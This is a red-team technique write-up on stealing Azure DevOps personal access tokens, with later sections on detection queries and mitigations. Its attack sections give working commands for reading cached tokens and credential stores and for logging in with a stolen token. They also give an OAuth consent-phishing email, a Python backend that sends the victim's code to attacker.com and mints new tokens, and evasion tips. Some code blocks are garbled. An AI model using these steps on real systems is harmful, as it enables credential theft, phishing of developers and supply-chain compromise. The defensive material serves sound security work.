| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-008 |
| MITRE ATT&CK v18.1 | T1528: Steal Application Access Tokens |
| Tactic | Credential Access |
| Platforms | Entra ID, Azure DevOps, Cross-Platform |
| Severity | Critical |
| CVE | CVE-2023-21540 (Electron local privilege escalation) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-08 |
| Affected Versions | Azure DevOps Services (all versions), Azure DevOps Server 2019-2022 |
| Patched In | N/A (PAT design inherent; mitigations available) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) and 8 (Splunk Detection Rules) are dynamically included. Section 11 (Sysmon Detection) not included because PAT theft is primarily a cloud-based attack with limited endpoint signals. All section numbers have been renumbered based on applicability.
Azure DevOps Personal Access Tokens (PATs) are long-lived, bearer-token credentials that grant repository, pipeline, and organizational access without requiring password authentication. When compromised, a PAT becomes a golden credential for lateral movement, supply chain attacks, and persistent access to an organization’s source code, deployment pipelines, and secrets management systems.
Attack Surface: PATs cached in local filesystem (%USERPROFILE%\.azure on Windows, ~/.azure on Linux/Mac), hardcoded in scripts, transmitted via phishing, or generated through OAuth consent phishing attacks targeting developers with high privilege levels.
Business Impact: Loss of source code integrity, supply chain compromise, credential harvesting from CI/CD pipelines, and lateral movement into Azure subscriptions via stolen service principal credentials. A compromised developer’s PAT can grant an attacker the same repository and pipeline permissions as that developer, including the ability to commit malicious code, modify CI/CD workflows to steal secrets, and execute arbitrary code in build agents.
Technical Context: PAT theft typically requires either (1) initial endpoint compromise with local filesystem access, (2) successful phishing of a developer, or (3) discovery of hardcoded PATs in repositories or configuration files. Once obtained, the token can be used immediately from any network location without triggering additional authentication or MFA prompts, making it highly effective for persistence and lateral movement.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.1 | Authentication Method Configuration – PAT creation and usage controls |
| DISA STIG | SRG-APP-000231-WSR-000086 | Token Handling and Credential Management in Web Applications |
| CISA SCuBA | SC-7(8) | Boundary Protection – Control of credential transmission in cloud environments |
| NIST 800-53 | SC-7(8) / IA-5(1) | Boundary Protection and Password-based Authentication |
| GDPR | Article 32 | Security of Processing – Encryption and access controls on credentials |
| DORA | Article 9 | Protection and Prevention – ICT Security measures for critical operations |
| NIS2 | Article 21 | Cyber Risk Management Measures – Identity and access controls |
| ISO 27001 | A.9.2.2 / A.14.2.1 | User Access and Authentication; Secure Development Requirements |
| ISO 27005 | Risk Scenario: “Compromise of Authentication Credentials” | Access control and cryptography |
Supported Versions:
Tools:
# Check if Azure DevOps CLI is installed
az version
# Determine if PAT is cached locally
Get-Item -Path "$env:USERPROFILE\.azure" -ErrorAction SilentlyContinue
Get-Item -Path "$env:USERPROFILE\.azure\defaults" -ErrorAction SilentlyContinue
# List cached Azure credentials (if stored)
$CredPath = "$env:USERPROFILE\.azure"
if (Test-Path $CredPath) {
Get-ChildItem -Path $CredPath -Force
}
What to Look For:
.azure directory indicates Azure CLI/DevOps usage on the system.devops file exists, it may contain a cached PAT or token.Version Note: Behavior is consistent across PowerShell 5.0 and PowerShell 7.x.
# Check Azure CLI installation and version
az version
# Check for cached credentials in Linux/Mac user home
ls -la ~/.azure/
# List contents of DevOps configuration
cat ~/.azure/devops 2>/dev/null || echo "No cached DevOps credential found"
# Check for PATs in bash history (security risk indicator)
grep -r "pat\|token\|PAT" ~/.bash_history 2>/dev/null | head -20
What to Look For:
~/.azure/defaults or ~/.azure/devops indicates cached credentials.~/.bash_history containing PAT references indicate previous usage.Supported Versions: Azure DevOps Services and Server 2019+
Objective: Discover cached Azure DevOps credentials stored locally on a compromised endpoint.
Command (Windows):
# List all files in .azure directory
Get-ChildItem -Path "$env:USERPROFILE\.azure" -Force -Recurse
# Check for devops configuration file
$DevOpsPath = "$env:USERPROFILE\.azure\devops"
if (Test-Path $DevOpsPath) {
Get-Content $DevOpsPath
}
# Alternatively, check for git credentials helper
git config --global credential.helper
git config --system credential.helper
Command (Linux/Mac):
# List all cached Azure configuration
ls -la ~/.azure/
# Display contents of devops configuration
cat ~/.azure/devops
# Check git credential storage
git config --global credential.helper
Expected Output:
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2025-01-08 14:23 .
d----- 2025-01-08 14:23 ..
-a---- 2025-01-08 14:22 2048 defaults
-a---- 2025-01-07 09:15 1024 devops
What This Means:
OpSec & Evasion:
.azure directory is Low Detection Risk if performed during normal user activity..azure directory may generate alerts; perform reads during high-volume activity periods to blend in.Troubleshooting:
.azure directory not found
~/.config/ or ~/.local/ for alternative credential storage.References & Proofs:
Objective: Extract the cached PAT and authenticate to Azure DevOps.
Command (Windows - Extract PAT):
# Method 1: Direct file read from .azure directory
$AzureDir = "$env:USERPROFILE\.azure"
$PAT = Get-Content "$AzureDir\devops" -ErrorAction SilentlyContinue
# Method 2: Extract from git-credential-manager if used
# Git credentials are sometimes stored in the Windows Credential Manager
cmdkey /list | Select-String "git\|azure\|devops" -IgnoreCase
# Method 3: Query Windows Credential Manager directly
# Using CredentialManager module (if available)
if (Get-Module -ListAvailable -Name "CredentialManager") {
Get-StoredCredential | Where-Object { $_.Target -like "*azure*" -or $_.Target -like "*devops*" }
}
# Display the PAT value (if retrieved)
$PAT
Command (Linux - Extract PAT):
# Method 1: Direct file read
PAT=$(cat ~/.azure/devops 2>/dev/null)
echo "$PAT"
# Method 2: Check for git-credential-manager cache
if [ -f ~/.config/git-credentials ]; then
cat ~/.config/git-credentials
fi
# Method 3: Search for PAT references in shell configuration
grep -r "AZURE_DEVOPS_PAT\|PAT\|TOKEN" ~/.bashrc ~/.zshrc ~/.profile 2>/dev/null
Expected Output:
abcdefghijklmnopqrstuvwxyz1234567890abcd
(A 52-character alphanumeric PAT)
What This Means:
OpSec & Evasion:
stdout redirection instead of file writes to avoid disk artifacts.Troubleshooting:
Access denied when reading .azure/devops
References & Proofs:
Objective: Use the stolen PAT to authenticate and gain access to Azure DevOps repositories and pipelines.
Command (Windows):
# Option 1: Using az devops login
$PAT = "abcdefghijklmnopqrstuvwxyz1234567890abcd" # Stolen PAT
$OrgURL = "https://dev.azure.com/contoso"
# Authenticate using the stolen PAT
$PAT | az devops login --organization $OrgURL
# Verify successful authentication
az devops project list --organization $OrgURL
Command (Linux/Mac):
# Authenticate using stolen PAT
PAT="abcdefghijklmnopqrstuvwxyz1234567890abcd"
ORG_URL="https://dev.azure.com/contoso"
echo "$PAT" | az devops login --organization $ORG_URL
# Verify authentication
az devops project list --organization $ORG_URL
Expected Output:
[
{
"id": "12345678-1234-1234-1234-123456789012",
"name": "Project1",
"state": "wellFormed",
"visibility": "private"
},
{
"id": "87654321-4321-4321-4321-210987654321",
"name": "Project2",
"state": "wellFormed",
"visibility": "private"
}
]
What This Means:
OpSec & Evasion:
az devops login generates audit log entries (see Detection section).Troubleshooting:
Invalid PAT or organization URL
References & Proofs:
Supported Versions: Azure DevOps Services (all versions); Azure DevOps Server 2019+
Objective: Register an Azure AD application that requests PAT management permissions.
Command (PowerShell - Using Microsoft Graph):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# Create an OAuth app that requests broad permissions
$params = @{
displayName = "DevOps PAT Manager"
signInAudience = "AzureADMultipleOrgs"
requiredResourceAccess = @(
@{
resourceAppId = "00000002-0000-0ff1-ce00-000000000000" # Azure DevOps
resourceAccess = @(
@{
id = "a454db0d-2e22-4f74-acf7-1d5ec2826b9e"
type = "Scope" # app_password scope
}
)
},
@{
resourceAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
resourceAccess = @(
@{
id = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"
type = "Role" # User.ReadWrite.All
}
)
}
)
web = @{
redirectUris = @("https://attacker.com/callback", "https://localhost:3000/callback")
}
}
# Register the app
$app = New-MgApplication @params
$AppId = $app.AppId
Write-Host "Created App Registration: $AppId"
Expected Output:
Created App Registration: 11111111-2222-3333-4444-555555555555
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Create a phishing email that directs the victim to an OAuth consent page.
Phishing Email Example:
Subject: Urgent: Re-authorize Azure DevOps Access
Hi [Developer Name],
Your Azure DevOps authentication has expired. Please click the button below to re-authorize your access immediately.
This is required to maintain continuity with ongoing pipeline deployments.
AUTHENTICATE HERE: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=11111111-2222-3333-4444-555555555555&
redirect_uri=https://attacker.com/callback&
response_type=code&
scope=https%3A%2F%2Fdev.azure.com%2Fapp_password&
state=random_state_value&
prompt=consent
This is a time-sensitive request.
Azure DevOps Security Team
What This URL Does:
app_password scope (PAT management) on behalf of the attacker’s app.OpSec & Evasion:
References & Proofs:
Objective: When the victim grants consent, exchange the authorization code for a token that can create PATs.
Command (Python - Attacker Backend):
import requests
import json
# After victim clicks "Approve" on consent screen, attacker receives authorization code
AUTH_CODE = "M.R3_BAY.abcdefg..." # Received from OAuth redirect
CLIENT_ID = "11111111-2222-3333-4444-555555555555"
CLIENT_SECRET = "super_secret_key_registered_in_app" # Attacker's app secret
TENANT_ID = "victim_tenant_id"
REDIRECT_URI = "https://attacker.com/callback"
# Exchange authorization code for access token
token_url = f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token"
token_payload = {
"client_id": CLIENT_ID,
"client_secret": CLIENT_SECRET,
"code": AUTH_CODE,
"redirect_uri": REDIRECT_URI,
"grant_type": "authorization_code",
"scope": "https://dev.azure.com/app_password"
}
response = requests.post(token_url, data=token_payload)
token_response = response.json()
access_token = token_response.get("access_token")
refresh_token = token_response.get("refresh_token")
print(f"[+] Access Token: {access_token}")
print(f"[+] Refresh Token (long-lived): {refresh_token}")
# Now, use the access token to create a PAT on behalf of the victim
# via Azure DevOps PAT creation API
create_pat_url = "https://vssps.dev.azure.com/{organization}/_apis/tokens/pats"
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
pat_payload = {
"displayName": "Build Agent Token",
"validTo": "2026-01-08T00:00:00Z",
"scope": ["vso.build", "vso.code", "vso.release"] # Grant repository and pipeline access
}
pat_response = requests.post(create_pat_url, json=pat_payload, headers=headers)
created_pat = pat_response.json()
print(f"[+] Created PAT: {created_pat['token']}")
Expected Output:
[+] Access Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
[+] Refresh Token (long-lived): 0.ARwA6WgJV3Z...
[+] Created PAT: abcdefghijklmnopqrstuvwxyz1234567890abcd
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: Azure DevOps Services and Server 2019+ with git-based repositories
Objective: Search repository history for hardcoded PATs.
Command (Windows):
# Clone the Azure DevOps repository using exposed PAT
$PAT = "hardcodedpatunearthed"
$Org = "https://dev.azure.com/targetorg"
$Project = "TargetProject"
$Repo = "TargetRepo"
$RepoURL = "$Org/$Project/_git/$Repo"
# Use git to clone (PAT in URL)
git clone https://$PAT@dev.azure.com/targetorg/TargetProject/_git/TargetRepo
# Search for additional PATs in the repository
cd TargetRepo
# Search for PAT patterns in files
Get-ChildItem -Recurse | Select-String -Pattern "pat.*=|token.*=|key.*=.*dev\.azure\.com" | Select-Object Path, Line | Format-Table
Command (Linux/Bash):
# Clone the repository
PAT="hardcodedpatunearthed"
git clone https://$PAT@dev.azure.com/targetorg/TargetProject/_git/TargetRepo
cd TargetRepo
# Search for hardcoded PATs using grep
grep -r "pat\|PAT\|token\|TOKEN" . --include="*.py" --include="*.js" --include="*.cs" --include="*.java" --include="*.config" --include="*.json" --include="*.yml" --include="*.yaml" | grep -i "dev\.azure\.com\|devops\|authentication"
Expected Output:
config/azure-devops.json: "pat": "pjv2jpl5mq2dqxxvsmrsq3z5p7zw4hcjwvgq7e3yq6t5u4v3w2x1y0z9a8b7c6d"
scripts/build.sh: export AZURE_PAT="abc123def456ghi789jkl012mno345pqr678stu"
README.md: "Use the PAT 'pjv2jpl5mq...' for CI/CD pipelines"
What This Means:
OpSec & Evasion:
git log -S for PAT patterns in previous commits.Troubleshooting:
Repository not found
References & Proofs:
Atomic Test ID: T1528-002 (Azure – Functions code upload)
Test Name: Steal Application Access Token – Azure Functions code injection via Blob upload
Description: Simulates stealing an access token from an Azure Function environment by injecting code into a Function App, which then exfiltrates the IMDS (Instance Metadata Service) token to an attacker-controlled endpoint.
Supported Versions: Azure DevOps Services, Azure Functions; PowerShell 5.0+
Execution:
# Step 1: Install Atomic Red Team framework
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/archive/refs/heads/master.zip" -OutFile "atomic-red-team.zip"
Expand-Archive -Path "atomic-red-team.zip"
cd atomic-red-team-master/atomics/T1528
# Step 2: Execute Atomic Test #2 (Token theft from Azure Functions)
Invoke-AtomicTest T1528 -TestNumbers 2
Cleanup Command:
Remove-AzFunctionApp -ResourceGroupName "TargetResourceGroup" -Name "TestFunctionApp"
Reference: Atomic Red Team T1528 Azure Tests
Version: 2.0+
Supported Platforms: Windows, Linux, macOS
Minimum Version: 2.0
Version-Specific Notes:
Installation:
# Windows (via scoop or chocolatey)
scoop install azure-devops-cli
# Linux (via pip)
pip install azure-devops-cli
# macOS (via brew)
brew install azure-devops-cli
Usage:
# Authenticate with a PAT
az devops login --organization https://dev.azure.com/myorg --use-pat-token
# When prompted, enter the PAT
# List projects
az devops project list
# List repositories
az devops repo list --project MyProject
# Clone a repository
az devops repo show --repo-id <repo_id> --project MyProject
#!/usr/bin/env python3
import os
import json
import subprocess
from pathlib import Path
def find_cached_pats():
"""Enumerate cached Azure DevOps PATs on the system."""
# Platform-specific paths
if os.name == 'nt': # Windows
azure_dir = Path.home() / '.azure'
else: # Linux/Mac
azure_dir = Path.home() / '.azure'
pats = []
if azure_dir.exists():
for file in azure_dir.iterdir():
if file.is_file():
try:
with open(file, 'r') as f:
content = f.read()
if len(content) > 40 and len(content.split('\n')[0]) > 40:
pats.append({
'file': str(file),
'token': content.split('\n')[0][:20] + '...'
})
except Exception as e:
print(f"[!] Error reading {file}: {e}")
return pats
def test_pat_validity(pat, org_url):
"""Test if a PAT is valid by attempting to list projects."""
try:
result = subprocess.run([
'az', 'devops', 'project', 'list',
'--organization', org_url
], env={**os.environ, 'AZURE_DEVOPS_EXT_PAT': pat},
capture_output=True, text=True, timeout=10)
return result.returncode == 0
except Exception as e:
return False
if __name__ == '__main__':
print("[*] Scanning for cached Azure DevOps PATs...")
pats = find_cached_pats()
for pat_info in pats:
print(f"[+] Found potential PAT: {pat_info['file']}")
print(f" Token (truncated): {pat_info['token']}")
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("Create personal access token", "Create personal access token (session token)")
| where InitiatedBy.user.userPrincipalName != "" or InitiatedBy.user.servicePrincipalName != ""
| project TimeGenerated, InitiatedBy, OperationName, TargetResources, Result
| summarize TokenCount = count() by InitiatedBy.user.userPrincipalName
| where TokenCount > 3 // Threshold: more than 3 PATs created in short timeframe
What This Detects:
OperationName specifically tracks PAT creation events.Manual Configuration Steps (Azure Portal):
Unusual Azure DevOps PAT CreationHigh5 minutes1 hourSource: Microsoft Sentinel Azure DevOps Audit Logs
Rule Configuration:
KQL Query:
SigninLogs
| where AppDisplayName == "Azure DevOps"
| where ResultType == 0 // Successful sign-ins only
| join kind=leftouter (SigninLogs
| where AppDisplayName == "Azure DevOps"
| summarize AvgLatitude = avg(tolower(tostring(parse_json(LocationDetails).geoCoordinates.latitude))) by UserPrincipalName) on UserPrincipalName
| where isnan(AvgLatitude) or abs(tolower(tostring(parse_json(LocationDetails).geoCoordinates.latitude)) - AvgLatitude) > 1000 // Geographically impossible distance
| project TimeGenerated, UserPrincipalName, IPAddress, parse_json(LocationDetails).countryOrRegion
What This Detects:
Source: MITRE ATT&CK - T1528 Detection
Event ID: 4624 (Successful Account Logon)
Logon Type 9 (network) with New Logon Account Name matching service accounts or developer accounts.Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Local Policy - Server 2022+):
auditpol /set /subcategory:"Logon" /success:enable /failure:enableAlert Name: Suspicious sign-in activity from an unfamiliar location
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud - Threat Detection
Operation: Create personal access token
PowerShell Query:
Connect-ExchangeOnline
Search-UnifiedAuditLog -Operations "CreatePersonalAccessToken" -StartDate (Get-Date).AddDays(-1) -EndDate (Get-Date) -ResultSize 5000 | Export-Csv -Path "C:\AuditLogs\PAT_Creation.csv"
UserId: Account that created/revoked the tokenOrganizationId: Azure DevOps organizationDisplayName: Token display nameScope: PAT scopes granted (e.g., vso.build, vso.code)ExpirationDate: When the token expiresManual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search Audit Logs):
Mitigation 1: Enforce PAT Expiration Policies
Azure DevOps supports enforcing mandatory PAT expiration. This prevents indefinite use of stolen tokens.
Applies To Versions: Azure DevOps Services 2022+, Azure DevOps Server 2022+
Manual Steps (Azure DevOps Admin Portal):
30 days (recommended)14 daysManual Steps (PowerShell):
# Requires Azure DevOps PowerShell module
$orgUrl = "https://dev.azure.com/contoso"
# Set PAT maximum age policy
az devops admin policy-list-show --organization $orgUrl | ConvertFrom-Json
# Apply policy via REST API
$headers = @{
"Authorization" = "Bearer $PAT"
"Content-Type" = "application/json"
}
$policyPayload = @{
"maxExpireDate" = (Get-Date).AddDays(30).ToUniversalTime()
"enforcePatExpiration" = $true
} | ConvertTo-Json
Invoke-RestMethod -Uri "$orgUrl/_apis/admin/policies/pat?api-version=7.0-preview" -Method PATCH -Headers $headers -Body $policyPayload
Validation Command:
# Check current PAT policies
az devops admin policy list-show --organization https://dev.azure.com/contoso
Expected Output (If Secure):
{
"patLifetimeInDays": 30,
"enforcePatExpiration": true,
"patInactivityTimeoutInDays": 14
}
What to Look For:
patLifetimeInDays should be 30 or lessenforcePatExpiration should be trueMitigation 2: Restrict PAT Creation (Public Preview)
Azure DevOps recently released a feature to restrict which users can create PATs.
Applies To Versions: Azure DevOps Services 2024+
Manual Steps:
ONMitigation 3: Require Multi-Factor Authentication (MFA) for PAT Creation
Enforce MFA when creating PATs to prevent phishing-based PAT generation.
Applies To Versions: Azure Entra ID (prerequisite for Azure DevOps)
Manual Steps (Conditional Access):
Require MFA for Azure DevOps PAT CreationMitigation 4: Monitor and Audit PAT Usage
Enable comprehensive logging and alerting on PAT creation and usage.
Applies To Versions: All Azure DevOps versions
Manual Steps (Azure DevOps):
Mitigation 5: Disable Legacy Authentication Protocols
Disable SMTP, IMAP, and other legacy protocols that may accept PATs.
Manual Steps (Azure DevOps):
OFFOFFOFFMitigation 6: Implement Principle of Least Privilege (PoLP)
Scope PATs to minimal required permissions and grant them to service accounts, not personal accounts.
Manual Steps:
Full (all scopes)vso.code_write, vso.build_execute$HOME/.azure/devops, $HOME/.azure/defaults, .git/credentialsHKLM\Software\Microsoft\Windows\CurrentVersion\Authentication (if PAT cached in Windows Credential Manager)dev.azure.com API endpoints (_apis/projects, _apis/repos) from unusual IP addresses or timesaz.cmd, git.exe, curl.exe spawned with --pat-token or AZURE_DEVOPS_PAT environment variables~/.azure/devops (plaintext or encrypted depending on system), ~/.git-credentials, ~/.ssh/config (if SSH key used)az devops CLI process or PowerShell processCreatePersonalAccessToken, repository clones, pipeline modifications, secret access$PAT = “[Known-Good-Admin-PAT]” $headers = @{ “Authorization” = “Bearer $PAT” “Content-Type” = “application/json” }
Invoke-RestMethod -Uri “https://vssps.dev.azure.com/_apis/tokens/pats?api-version=7.0-preview” -Headers $headers
Invoke-RestMethod -Uri “https://vssps.dev.azure.com/_apis/tokens/pats/{patId}?api-version=7.0-preview” -Method DELETE -Headers $headers ```
Manual (Azure DevOps Portal):
$orgUrl = “https://dev.azure.com/contoso” az devops security audit-stream list –organization $orgUrl
az devops security audit-stream show –organization $orgUrl > C:\Evidence\AuditLog.json ```
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attacks | Attacker phishes developer to grant OAuth permissions |
| 2 | Credential Access | [CA-TOKEN-008] Azure DevOps PAT Theft | Attacker generates or steals PAT via phishing or endpoint compromise |
| 3 | Lateral Movement | [LM-AUTH-005] Service Principal Key/Certificate | PAT used to extract service principal credentials from pipeline |
| 4 | Privilege Escalation | [PE-ACCTMGMT-010] Azure DevOps Pipeline Escalation | Attacker modifies pipeline to grant themselves admin role |
| 5 | Impact | [CA-UNSC-015] Pipeline Environment Variables Theft | Attacker exfiltrates cloud credentials from pipeline environment |
Related Techniques in MCADDF: